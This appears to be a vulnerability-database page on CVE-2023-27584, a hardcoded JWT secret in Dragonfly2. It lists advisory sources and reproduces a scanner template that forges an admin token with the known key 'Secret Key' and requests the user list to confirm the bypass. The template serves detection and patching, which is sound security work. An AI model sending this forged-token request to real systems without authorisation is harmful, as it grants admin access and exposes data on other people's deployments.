| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| CVE-2023-27584 | 19 Sep 202402:54 | – | circl | |
| Dragonfly 安全漏洞 | 19 Sep 202400:00 | – | cnnvd | |
| CVE-2023-27584 | 19 Sep 202422:54 | – | cve | |
| CVE-2023-27584 Dragonfly2 vulnerable to hard coded cyptographic key | 19 Sep 202422:54 | – | cvelist | |
| Dragonfly2 has hard coded cyptographic key | 19 Sep 202414:47 | – | github | |
| Dragonfly2 has hard coded cyptographic key | 19 Sep 202400:00 | – | gitlab | |
| CVE-2023-27584 | 19 Sep 202423:15 | – | nvd | |
| CVE-2023-27584 Dragonfly2 vulnerable to hard coded cyptographic key | 19 Sep 202422:54 | – | osv | |
| GHSA-HPC8-7WPM-889W Dragonfly2 has hard coded cyptographic key | 19 Sep 202414:47 | – | osv | |
| GO-2024-3136 Dragonfly2 has hard coded cyptographic key in d7y.io/dragonfly | 26 Sep 202418:24 | – | osv |
id: CVE-2023-27584
info:
name: Dragonfly2 < 2.1.0-beta.1 - Hardcoded JWT Secret
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
Dragonfly is an open source P2P-based file distribution and image acceleration system. It is hosted by the Cloud Native Computing Foundation (CNCF) as an Incubating Level Project. Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass. An attacker can perform any action as a user with admin privileges. This issue has been addressed in release version 2.0.9. All users are advised to upgrade. There are no known workarounds for this vulnerability.
impact: |
Unauthenticated attackers can bypass authentication using a hardcoded JWT secret key, allowing them to perform any action with admin privileges including accessing all distributed files and compromising the entire P2P system.
remediation: |
Upgrade to Dragonfly2 version 2.0.9 or later that uses a properly generated JWT secret key.
reference:
- https://github.com/advisories/GHSA-hpc8-7wpm-889w
- https://github.com/dragonflyoss/Dragonfly2/releases/tag/v2.0.9
- https://github.com/dragonflyoss/Dragonfly2/security/advisories/GHSA-hpc8-7wpm-889w
- https://nvd.nist.gov/vuln/detail/cve-2023-27584
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-27584
cwe-id: CWE-321
epss-score: 0.33618
epss-percentile: 0.98182
metadata:
max-request: 1
verified: true
tags: cve,cve2023,dragonfly,exposure,jwt,secret,vuln
variables:
orig_iat: '{{to_unix_time(unixtime())}}'
exp: '{{to_number(orig_iat)+4000 }}'
payload: '{"id":1,"exp":{{exp}},"orig_iat":{{orig_iat}}}'
http:
- raw:
- |
GET /api/v1/users HTTP/1.1
Host: {{Hostname}}
Cookie: jwt={{generate_jwt(payload,"HS256","Secret Key") }}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"id":'
- '"created_at":'
- '"updated_at":'
- '"state":'
condition: and
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200
# digest: 4a0a00473045022018f0544e5964c04025a2528810b298e2222463a84fc5397d5ad24c53a5479a5f0221009fb14d1a3ac56f7ac2f361b425e251f8209e1c1ecb3ae2571e23aeec33f72eba:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation